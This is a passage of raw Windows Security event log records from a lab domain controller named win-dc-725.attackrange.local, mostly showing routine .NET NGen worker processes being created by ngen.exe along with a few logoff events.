Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255082
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x35c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 720 -InterruptEvent 0 -NGENProcess 728 -Pipe 73c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:27 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255089
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x640
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6b0 -InterruptEvent 0 -NGENProcess 720 -Pipe 744 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:27 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255088
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x62c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6d8 -InterruptEvent 0 -NGENProcess 758 -Pipe 738 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:27 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255087
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8a4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6d8 -InterruptEvent 0 -NGENProcess 738 -Pipe 704 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:27 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255086
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11a8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 70c -InterruptEvent 0 -NGENProcess 6b0 -Pipe 750 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:27 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255085
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x50c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 74c -InterruptEvent 0 -NGENProcess 724 -Pipe 71c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:29 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255091
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x8DD66

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:08:29 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255090
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x8DEE2

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:08:35 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255093
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe00
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 694 -InterruptEvent 0 -NGENProcess 774 -Pipe 730 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:35 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255092
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4c8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6c8 -InterruptEvent 0 -NGENProcess 70c -Pipe 724 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:36 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255095
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9fc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 770 -InterruptEvent 0 -NGENProcess 754 -Pipe 70c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:36 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255094
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf70
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 75c -InterruptEvent 0 -NGENProcess 758 -Pipe 698 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255097
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2ec
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6bc -InterruptEvent 0 -NGENProcess 75c -Pipe 774 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255096
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1158
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6c8 -InterruptEvent 0 -NGENProcess 764 -Pipe 758 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:38 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255099
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x924
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6c8 -InterruptEvent 0 -NGENProcess 75c -Pipe 780 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:38 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255098
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x116c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6bc -InterruptEvent 0 -NGENProcess 720 -Pipe 6d8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255101
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11c0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 694 -InterruptEvent 0 -NGENProcess 754 -Pipe 77c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255100
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x136c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 764 -InterruptEvent 0 -NGENProcess 790 -Pipe 6bc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255103
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf78
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 648 -InterruptEvent 0 -NGENProcess 754 -Pipe 788 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255102
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
